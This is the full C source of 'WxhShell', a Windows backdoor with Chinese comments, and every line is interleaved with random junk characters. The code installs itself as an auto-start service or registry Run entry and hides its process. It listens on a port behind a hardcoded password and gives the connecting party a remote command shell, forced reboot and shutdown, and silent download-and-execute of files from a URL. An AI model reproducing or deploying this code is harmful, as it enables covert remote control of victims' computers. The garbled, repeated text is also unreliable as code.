| static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gFKJbjT| M:{Aq&. HANDLE hProcess; S,nELV~! PROCESS_BASIC_INFORMATION pbi; [!yA#{xl, W.?/p~ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .1jiANY if(NULL == hInst ) return 0; 8\!E )M|4 BjsT 9?6W/ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qSB&Q0T g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J
(?qk NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *dw.Ug w$6Z}M1d if (!NtQueryInformationProcess) return 0; [)1vKaC kI)}7e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vM6W64S if(!hProcess) return 0; gWGDm~+ $q)YC.5$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4minzrKM\ 5N;'CAk CloseHandle(hProcess); Mh4MaLw
D,ZLo~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lr D@QBT if(hProcess==NULL) return 0; j}eb
_K+I DkEv1]6JI_ HMODULE hMod; T1$E][@Iv char procName[255]; p>;@]!YWQ unsigned long cbNeeded; =I546($ ;6Yg}L if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LCH\;07V# wuA?t CloseHandle(hProcess); gK`w|kh` T5."3i if(strstr(procName,"services")) return 1; // 以服务启动 1.F&gP)9 rBNVI;JZW return 0; // 注册表启动 o#e8
Piw } hc[ K
VLpS 5tQz!M // 主模块 ;_e9v, int StartWxhshell(LPSTR lpCmdLine) JEp)8{.bW8 { n jWe^ SOCKET wsl; o+A1-&qhN BOOL val=TRUE; W&*&O,c int port=0; KU/r"lMNlU struct sockaddr_in door; o5tCbsHj- MhD' if(wscfg.ws_autoins) Install(); fw jo? ,UMr_ e{| port=atoi(lpCmdLine); 5'I+%66?h$ Giv,%3' if(port<=0) port=wscfg.ws_port; %7 bd}sJ# su1lv# WSADATA data; p)yP_P if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; heCM+=#~ .Q,"gsY if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \D? '.Wo% setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lD0-S0i door.sin_family = AF_INET; 6M*z`B{hV door.sin_addr.s_addr = inet_addr("127.0.0.1"); q>.7VN[
vE door.sin_port = htons(port); d#rr7O fd&Fn=! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q()o|V closesocket(wsl); T,pr&1]Lw return 1; /GIGE##1F } THp_ dTD Nh.+woFq4 if(listen(wsl,2) == INVALID_SOCKET) { {Ya$Q#l closesocket(wsl); Uz^N6q return 1; {fR\yWkt? } cERIj0~ Wxhshell(wsl); -[7+g WSACleanup(); z4:!*:.Asu S{+t>en return 0; x|0C0a\"A 2`$*HPj+G } gT+g@\u[ a|7C6#iz$ // 以NT服务方式启动 c`!e#w VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \34vE@V* { XIl<rN@- DWORD status = 0; Jw;~ $ DWORD specificError = 0xfffffff; .*-8rOcc 5E'/8xp bB serviceStatus.dwServiceType = SERVICE_WIN32; D$}8GYq serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2X@9o4_4q serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |IcW7( serviceStatus.dwWin32ExitCode = 0; F]
c\Qt serviceStatus.dwServiceSpecificExitCode = 0; ?Ij(B}D serviceStatus.dwCheckPoint = 0; lFBpNUnzU serviceStatus.dwWaitHint = 0; 2 ?t@<M] ttsR`R1.k hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .dlsiBh if (hServiceStatusHandle==0) return; +;KUL6 6dIPgie3w status = GetLastError(); 3CoZ2 if (status!=NO_ERROR) ##rkyd { 5^g* serviceStatus.dwCurrentState = SERVICE_STOPPED; 0Qt!w( serviceStatus.dwCheckPoint = 0; =0g!Q serviceStatus.dwWaitHint = 0; 9p W~Gz serviceStatus.dwWin32ExitCode = status; zr.\7\v serviceStatus.dwServiceSpecificExitCode = specificError; 6<];}M_{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); H
-Mb:4 return; PAYw:/(P } O+}py{ st N#T'}>t y serviceStatus.dwCurrentState = SERVICE_RUNNING; _Vr- bpAf serviceStatus.dwCheckPoint = 0; v76Gwu$d serviceStatus.dwWaitHint = 0; W@T\i2r$z if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {cXr!N^K } 5qz,FKx5 mJUM#ry // 处理NT服务事件,比如:启动、停止 <1|[=$w VOID WINAPI NTServiceHandler(DWORD fdwControl) Tx;a2:6\[ { Z3S+")^ switch(fdwControl) >O-KJZ'GV { +8Lbz^# case SERVICE_CONTROL_STOP: GTdoUSUq serviceStatus.dwWin32ExitCode = 0; %bi ie serviceStatus.dwCurrentState = SERVICE_STOPPED; {=Zy;Er serviceStatus.dwCheckPoint = 0;
}4|EHhG serviceStatus.dwWaitHint = 0; ~Gu$EqQ { Ek{Q NlQ]4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0caZ_-zU } }=-0DSLVj return; '=_(fa, case SERVICE_CONTROL_PAUSE: yvYMk(LSF serviceStatus.dwCurrentState = SERVICE_PAUSED; f% pT-# break; *dw.=a9 case SERVICE_CONTROL_CONTINUE: f{P1.?a serviceStatus.dwCurrentState = SERVICE_RUNNING; Jl{ 0q7b break; nI*.(+h case SERVICE_CONTROL_INTERROGATE: Tv=lr6t8 break; (7Z+ De? }; U~x]2{} SetServiceStatus(hServiceStatusHandle, &serviceStatus); DDeU: } T*x2+(r #Z%"
?RJ // 标准应用程序主函数 hq=;ZI int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |7|S>h^ { 0g?)j- :$k*y%Z*N& // 获取操作系统版本 hne@I1 OsIsNt=GetOsVer(); b>uD-CSA GetModuleFileName(NULL,ExeFile,MAX_PATH); (;{X-c}? _SBbd9 // 从命令行安装 Z 1HH0{q-A if(strpbrk(lpCmdLine,"iI")) Install(); y :;.r: 9;@p2t*v // 下载执行文件 %O\@rws if(wscfg.ws_downexe) { ^&>B,;Wu if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7ch9Pf WinExec(wscfg.ws_filenam,SW_HIDE); T8^9*]:@c! } f^F;`;z V
0Bl6 if(!OsIsNt) { &hYgu3O // 如果时win9x,隐藏进程并且设置为注册表启动 |:eTo<
HideProc(); nTy]sPn StartWxhshell(lpCmdLine); 4aXIRu%#7 } 1/}H
0\9' else =-U0r$sK+F if(StartFromService()) sO.MUj; // 以服务方式启动 gm9*z.S\' StartServiceCtrlDispatcher(DispatchTable); 0kE[=#'.' else F&B\ X // 普通方式启动 kXz~ez 7 StartWxhshell(lpCmdLine); Q-<]'E#\( 6
5govor return 0; %f]#P8VP } Aw#<: 6- _uIS[%4g FZi@h Sm'Tz&! =========================================== h( | T. Z
[!"x&H]h -#Z df| ^DYS~I%s w!f2~j~ &;@L]
o " "jL>P) _Y; TS1u #include <stdio.h> tV)CDA&Z #include <string.h> zgb$@JC #include <windows.h> '_c/CNs #include <winsock2.h> %Ig$: I(o #include <winsvc.h> ]oGd,v X #include <urlmon.h> <`nShP>vl :j&enP5R(q #pragma comment (lib, "Ws2_32.lib") "Rj
PTRe: #pragma comment (lib, "urlmon.lib") s=8H<'l v)
n- #define MAX_USER 100 // 最大客户端连接数 26j<>>2 #define BUF_SOCK 200 // sock buffer z
CLaHx! #define KEY_BUFF 255 // 输入 buffer 5u$.!l8Nl g>/Y}{sL- #define REBOOT 0 // 重启 \|HtE(uCM1 #define SHUTDOWN 1 // 关机 EX]+e a'VQegP(f\ #define DEF_PORT 5000 // 监听端口 :kgh~mx5LF F6\{gQ<E #define REG_LEN 16 // 注册表键长度 d( v"{N} #define SVC_LEN 80 // NT服务名长度 9X*Nk~}Y k|;a"56F // 从dll定义API JxVGzb`8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vl_6nY; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !Tnjha* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }1#m+ (; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Hv;xaT<}V
u
BEwYQB // wxhshell配置信息 qDdO-fPev struct WSCFG { !ku}vTe int ws_port; // 监听端口 'kd}vq#| char ws_passstr[REG_LEN]; // 口令 63fYX" int ws_autoins; // 安装标记, 1=yes 0=no
)@wC6Ij char ws_regname[REG_LEN]; // 注册表键名 e;.,x 5+ char ws_svcname[REG_LEN]; // 服务名 {5 dVK char ws_svcdisp[SVC_LEN]; // 服务显示名 't<iB&wgF char ws_svcdesc[SVC_LEN]; // 服务描述信息 j)J |'b| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A]BeI int ws_downexe; // 下载执行标记, 1=yes 0=no ]Uv,}W char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L)'G_)Sl char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <pX?x3-' #T)Gkc"{ }; Wb}-H-O T@W:@,34 // default Wxhshell configuration yT^2;/Z struct WSCFG wscfg={DEF_PORT, )qxt< "xuhuanlingzhe", _U~R 1, (5$Ge$ "Wxhshell", Z ]A
|"6< "Wxhshell", XM]m%I "WxhShell Service", t&U9Z$LS "Wrsky Windows CmdShell Service", d.&_j`\F "Please Input Your Password: ", T<]{:\*n 1, lNe4e6 "http://www.wrsky.com/wxhshell.exe", wv\X "Wxhshell.exe" UQ0!tFx }; 4=,J@N- "VaWZ* // 消息定义模块 //@6w;P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R_EU|a char *msg_ws_prompt="\n\r? for help\n\r#>"; gPMR,TU char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 88?bUA3] char *msg_ws_ext="\n\rExit."; O=Su
E/q char *msg_ws_end="\n\rQuit."; kQ+y9@=/g char *msg_ws_boot="\n\rReboot..."; PZ]tl char *msg_ws_poff="\n\rShutdown..."; ?N{\qF1Mz char *msg_ws_down="\n\rSave to "; }3z3GU8Q- X'OpR char *msg_ws_err="\n\rErr!"; k0Vri$x char *msg_ws_ok="\n\rOK!"; J jAxNviG WuK<?1meN char ExeFile[MAX_PATH]; C%4ed# int nUser = 0; 8\{!*?9! HANDLE handles[MAX_USER]; ai 4 k? int OsIsNt; eT%x(P D,IT>^[^7 SERVICE_STATUS serviceStatus; k^7!iOK2 SERVICE_STATUS_HANDLE hServiceStatusHandle; W?Z>g" >DRxF5b{ // 函数声明 @5Tl84@Q int Install(void); \;7U:Y$v int Uninstall(void); Cmx<>7fN int DownloadFile(char *sURL, SOCKET wsh); nlv,j& int Boot(int flag); 2Bt/co-~4 void HideProc(void); yi8vD~aA[ int GetOsVer(void); i#:To
|\u int Wxhshell(SOCKET wsl); _9BL7W $; void TalkWithClient(void *cs); czRBuo+k+ int CmdShell(SOCKET sock); 9B~&d(Bm int StartFromService(void); \S h/<z int StartWxhshell(LPSTR lpCmdLine); Tg)F.): 2|k$Vfz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t jM9EP VOID WINAPI NTServiceHandler( DWORD fdwControl ); -VohU-6 | YdD; Qx#O // 数据结构和表定义 $:u*)&"t| SERVICE_TABLE_ENTRY DispatchTable[] = YKe&Ph. { KR.;X3S} {wscfg.ws_svcname, NTServiceMain}, a
4?A 5 {NULL, NULL} kF1$ }; SS/vw% I[E 6N2 // 自我安装 @!iS`u int Install(void) [#KY.n { Jxl'!8t char svExeFile[MAX_PATH]; WsbVO|C HKEY key; jr6 0;oK+ strcpy(svExeFile,ExeFile); ]t<=a6<P &A
s>Y,y // 如果是win9x系统,修改注册表设为自启动 EC,,l'%a|/ if(!OsIsNt) { hk
!=ZE3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Am3eJa*- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7~2_'YX>: RegCloseKey(key); th{J;a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S$b)X"h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8*-)[+s9il RegCloseKey(key); ,Ee5}#dI return 0; DT-.Gdb8 } V_3oAu54s{ } [FhYQI } ";.j[p:gi else { Hec8pL WSpF/Wwc // 如果是NT以上系统,安装为系统服务 -UEi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _sy{rnaqvb if (schSCManager!=0) 4`?PtRX { NFVu~t SC_HANDLE schService = CreateService 7"|Qmyb ( ]O;*Y{:Y schSCManager, Wl3S]4A wscfg.ws_svcname, ^S|qGu,G wscfg.ws_svcdisp, \zU<o~gs SERVICE_ALL_ACCESS, F,vkk{Z> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @*rMMy 4 SERVICE_AUTO_START, 0^*,E/}P& SERVICE_ERROR_NORMAL, ;[o:VuTs svExeFile, K2*rqg NULL, IWYQ67Yj NULL, k*_Gg NULL, 'n h^; NULL, `NhG|g NULL tHzgZoBz ); 0$Tb5+H5 if (schService!=0) QP~["%}T { /@
emE0 CloseServiceHandle(schService); W(s5mX,Kv CloseServiceHandle(schSCManager); 1*A^v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bF9.k strcat(svExeFile,wscfg.ws_svcname); &Sb)a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zgFL/a< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cQ1[x>OcU RegCloseKey(key); .]E"w9~ return 0; iq3)}hGo } IS"[< } XR]bd CloseServiceHandle(schSCManager); ;):;H?WS|A } VMABj\yG } j f4<LmR 7a>+ma\ return 1; :PV3J0pB~ } ~> )>hy) _#M4zO7 // 自我卸载 .S:(O+#Gm int Uninstall(void) C'@I!m._i { `(j~b=PP HKEY key; =m<b+@?T
b7hICO-w if(!OsIsNt) { pIR_2Eq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2r2: RegDeleteValue(key,wscfg.ws_regname); %V;*E] RegCloseKey(key); 'WHI.*= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q-CgXwU RegDeleteValue(key,wscfg.ws_regname); }\m.~$|[ RegCloseKey(key); Qu#[PDhb return 0; WS6Qp`c)e } 0]f/5jvLj } 8'E7Uj } sI6*.nR else { PP!/WX tJ\v>s-f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <c5g-*V: if (schSCManager!=0) t[;-gi,, { 5OPvy,e6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G5|nt#> if (schService!=0) v~x`a0 { c)Ng9p if(DeleteService(schService)!=0) { 4-HBXG9#/ CloseServiceHandle(schService); cRs\()W CloseServiceHandle(schSCManager); $$Tf1hIg return 0; DI(X B6 } .|CoueH CloseServiceHandle(schService); f#Ud=& >j } }@.@k6`n CloseServiceHandle(schSCManager); (mbm',%- ( } Dy5&-yk } e{5O>RO V(;T{HW& return 1; IJ5'n } 'h;qI& w^cQL% // 从指定url下载文件 Mk9J~'C_ int DownloadFile(char *sURL, SOCKET wsh) mb`h { )Pubur %, HRESULT hr; TPx`qyW char seps[]= "/"; R'1j char *token; IRR b^Q6 char *file; @-0mE_$[ char myURL[MAX_PATH]; OI0@lSAo< char myFILE[MAX_PATH]; 'b" 7Lzp2 w('}QB`xad strcpy(myURL,sURL); v6wg,,T token=strtok(myURL,seps); >B``+Z^2 while(token!=NULL) `*0VN(gf' { UdcV<# file=token; P}=n^*8(I token=strtok(NULL,seps); *'?V>q, } 45BpZ~- +_ 8BJ GetCurrentDirectory(MAX_PATH,myFILE); 3xRn strcat(myFILE, "\\"); a;a1>1 strcat(myFILE, file); }s"].Xm^2 send(wsh,myFILE,strlen(myFILE),0); R4 b!?}d send(wsh,"...",3,0); *Cp:<Mnd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f fI=Bt]t if(hr==S_OK) d%L/[.& return 0; 74NL)|M else ./zzuKO8XK return 1; L)<~0GcP M%$ITE } <Vt"%C Gh6U<;V?* // 系统电源模块 ?Vh#Gr int Boot(int flag) }Q9+krrow { 7wY0JS$fz HANDLE hToken; rmC7!^/ TOKEN_PRIVILEGES tkp; Rxr?T- eu]qgtg~U if(OsIsNt) { a6A~,68/V OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [ns==gDD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =eS?`| tkp.PrivilegeCount = 1; 0dsL%G~/N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RH7!3ye AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pI.8Ip_r if(flag==REBOOT) { u^i3 @JuX if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .qf~t/o return 0; 4\ElMb[] } .=yv m else { X>pCkGE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "1>w\21 return 0; 'n"we#
[ } 0k_3]Li=( } ` PeC,bp else { u] G if(flag==REBOOT) { `SZ-o{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CRiqY_gBf return 0; -2u)orWP } * RX^ z6 else { WuI$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S{)K_x return 0; B\aVE|~PB } oLq N } 1`s^r+11: tnBCO%uG return 1; De{ZQg) } 2qV oe}F e7-IqQA{3C // win9x进程隐藏模块 O~?d;.b void HideProc(void) P0sAq7" { JrX. f MXDCOe~07 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `PI*\t0 if ( hKernel != NULL ) Wi,)a{ { <R~;|&o,$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nz#eJ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'n\P S,[1R FreeLibrary(hKernel); =&Tuh} } 3Of!Ykf= q\gbjci return; C(8!("tU }
^^n (s_g m],.w M8 // 获取操作系统版本 Bu?Qyz2O int GetOsVer(void) E'6/@xM { 8A::q ; OSVERSIONINFO winfo; jaavh6h) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \!w | GetVersionEx(&winfo); K:Z(jF!j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =FiO{Aw`N return 1; ^j10
f$B else PY3bn).uR return 0; jffNA^e } 0jPUDkH* ^ZRZ0:rZ // 客户端句柄模块 cW"DDm
g int Wxhshell(SOCKET wsl) jP2#w{xq { |b^UPrz)VS SOCKET wsh; $A/?evJi8R struct sockaddr_in client; a"t~K DWORD myID; 4%_xTo iE_[]Vgc while(nUser<MAX_USER) 6R$Yh0% { ;+#Nb/M int nSize=sizeof(client); 7`^Y*:( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $"MVr5q6 if(wsh==INVALID_SOCKET) return 1; -XK;B--c (plT/0=^t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O,vC:av if(handles[nUser]==0) T{-gbo`Yji closesocket(wsh); 1,]FLsuy else S;D]ym nUser++; bGy|T*@ } @de0)AJG6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9HlWoHuC >El]5M7h7 return 0; dV}]\8N } \1n (Jr.< 9Nx%Sdu // 关闭 socket I _N:j,Mx
void CloseIt(SOCKET wsh) R?2HnJh { 2m*/$GZ closesocket(wsh); BSJS4+,E nUser--; ^SsnCn-e ExitThread(0); .c @Y?..+ } G K3T w kg7bZ // 客户端请求句柄 '.>y'= void TalkWithClient(void *cs) gN73)uJ0 { D`'Cnt/ kUT^o SOCKET wsh=(SOCKET)cs; YU)%-V\ char pwd[SVC_LEN]; G]EI!-y char cmd[KEY_BUFF]; 0S'@(p[A char chr[1]; ~Cg7 int i,j; ZitmvcMk ~ISY( & while (nUser < MAX_USER) { T\=#y Zs-lN*u7. if(wscfg.ws_passstr) { ""|;5kJS4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lFSvHs5 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9vwm
RVN //ZeroMemory(pwd,KEY_BUFF); [F;\NJp6?^ i=0; mE>{K while(i<SVC_LEN) { Tr|PR t euRKYGW // 设置超时 GRVF/hPn fd_set FdRead; BSB&zp struct timeval TimeOut; mpVD;)?JmM FD_ZERO(&FdRead); G`Z<a FD_SET(wsh,&FdRead); PlK3; TimeOut.tv_sec=8; 7zA+UWr TimeOut.tv_usec=0; [u^ fy<jdp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {.[EX MX if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G-K{ ^;9l3P{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ur=:Ha pwd=chr[0]; mW+5I-~ if(chr[0]==0xd || chr[0]==0xa) { XzqB=iX pwd=0; YktZXc?iI< break; x >tm[k } jt: *Y i++; ;3xi.^=B } gy~2LY !} `-R&4%t% // 如果是非法用户,关闭 socket v}D0t] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *QIYq } wJp1Fl~ b!Nr send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a~LdcUYs send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ST~YO pFZ$z?lI while(1) { TX@ed 9^`cVjD5 ZeroMemory(cmd,KEY_BUFF);
NXDkGO/* >&R@L KP // 自动支持客户端 telnet标准 *//z$la j=0; `kv7Rr}Q while(j<KEY_BUFF) { SDNRcSbOD6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #CAZ}];Qx cmd[j]=chr[0]; _*8 6 if(chr[0]==0xa || chr[0]==0xd) { C!9mygI cmd[j]=0; GM1.pVb break; 5[r}'08b } }LQV2 hKTG j++; &)JoB } \*qradgx$ NjA[(8\: // 下载文件 UJ%.KU%Q} if(strstr(cmd,"http://")) { tX@y ]" send(wsh,msg_ws_down,strlen(msg_ws_down),0); -"a(<JC^NI if(DownloadFile(cmd,wsh)) 7+@-mJMP$D send(wsh,msg_ws_err,strlen(msg_ws_err),0); &2[Xu4* else L:mE)Xq2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L;L_$hu) } P?c V d2Y else { ' S,g3 gzH;`, switch(cmd[0]) { * a1q M? `k8j FB C
// 帮助 BD}%RTeWKq case '?': { NV?XZ[<*< send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -)Vy)hD, break; ZqpK}I } w`+-xT% // 安装 v*.iNA;&i case 'i': { <RbfW'<G if(Install()) V?)V2>] send(wsh,msg_ws_err,strlen(msg_ws_err),0); w9RBT(u else &+ PVY>q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MZcvr 9y break; Y8IC4:EO } D)l\zs%ie // 卸载 vlZmmQeJm case 'r': { [q_62[-X if(Uninstall()) /L@o.[H send(wsh,msg_ws_err,strlen(msg_ws_err),0); c9Cc%EK else xx7&y!_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k $8Zg*) break; YO?o$Hv16 } :sLg$OF // 显示 wxhshell 所在路径 (JnEso-V case 'p': { +j+
v(- char svExeFile[MAX_PATH]; K3h7gY| . strcpy(svExeFile,"\n\r"); nR@mm
j strcat(svExeFile,ExeFile); +F-Y^): send(wsh,svExeFile,strlen(svExeFile),0); ^-mW k?> break; QJiH^KY6 } x5pu+-h // 重启 c(FGW7L< case 'b': { -r_\=<( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :"Tkl$@, if(Boot(REBOOT)) 1=sL[I 7< send(wsh,msg_ws_err,strlen(msg_ws_err),0); @|">j#0 else { KSEKoHJo closesocket(wsh); f?GoBh< ExitThread(0); $v e$Sq } i[FYR;C break; tSoF!@6 } KydAFxUb // 关机 \T<F#a case 'd': { i;]# @n| send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !Icznou\ if(Boot(SHUTDOWN)) (Pw,3CbJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); )dEcKH<# else { J.U%W}Hx closesocket(wsh); @icw:68 ExitThread(0); cq
gCcO, } AGS(ud{ break; (e!Yu#- } SAf)#HXa // 获取shell /n>vPJvz case 's': { .'38^ CmdShell(wsh); n<> ^cD closesocket(wsh); #DJZ42 ExitThread(0); T<Qa`|5> break; v''J@ F7 } B~qo^ppVU // 退出 i!3*)-a\~` case 'x': { oAB:H\ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Le bc@, CloseIt(wsh); r)Zk- !1 break; ./0wt+ } AS~!YR // 离开 %{:pBt:Z case 'q': { h<$%y(lP send(wsh,msg_ws_end,strlen(msg_ws_end),0); &sBD0R(a closesocket(wsh); opN4@a7l WSACleanup(); QLHEzEvf{/ exit(1); LN<rBF[_:f break; ~!7x45(1# } S>*i\OnI' } t>*(v#WeZ } 3W#E$^G_v !^0vi3I // 提示信息 nec}grA if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z0y~%[1X } g=qaq
} /iQh'rp 0CXXCa7! return; `r3 klL,W' } bXXX-Xc QV\af // shell模块句柄 6o9&FU int CmdShell(SOCKET sock) Df *<3G { KQ81Oxu*C STARTUPINFO si; tf8xc ZeroMemory(&si,sizeof(si)); C|w<mryx si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H`URJ8k$Q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4/mz>eK" PROCESS_INFORMATION ProcessInfo; Ya!e83-r char cmdline[]="cmd"; KiKw,@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (0`w.n return 0; B|$o.$5 } kdV9F CRNi*u // 自身启动模式 uW#s;1H.) int StartFromService(void) hm0A%Js { I} +up,B]o typedef struct um_J%v6ER { }oSgx DWORD ExitStatus; 5ZH3}B^L$ DWORD PebBaseAddress; Y{#*;p*I DWORD AffinityMask; +(afO~9 DWORD BasePriority; S+wT}_BQ ULONG UniqueProcessId; ~%M*@fm ULONG InheritedFromUniqueProcessId; shy[>\w } PROCESS_BASIC_INFORMATION; U@n5:d= z\8s |! PROCNTQSIP NtQueryInformationProcess; ~!g2+^G7+P Jmg9|g!f static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BYhiP/^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (3!6nQj-t N'aq4okoL HANDLE hProcess; ]vs}-go PROCESS_BASIC_INFORMATION pbi; k\j_hu "%a<+D HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %,
iAngF' if(NULL == hInst ) return 0; JZ5 ";*, birc&< g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -U
A &Zt g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7I&o NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7l=Tl[n ~OvbMWu if (!NtQueryInformationProcess) return 0; $_TS]~y4} UF }[%Sa hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =2QP7W3mg< if(!hProcess) return 0; :&'jh/vRN UQ7]hX9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; In1n.oRFn^ )s,tBU+N CloseHandle(hProcess); 4e AMb >b=."i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ONDO
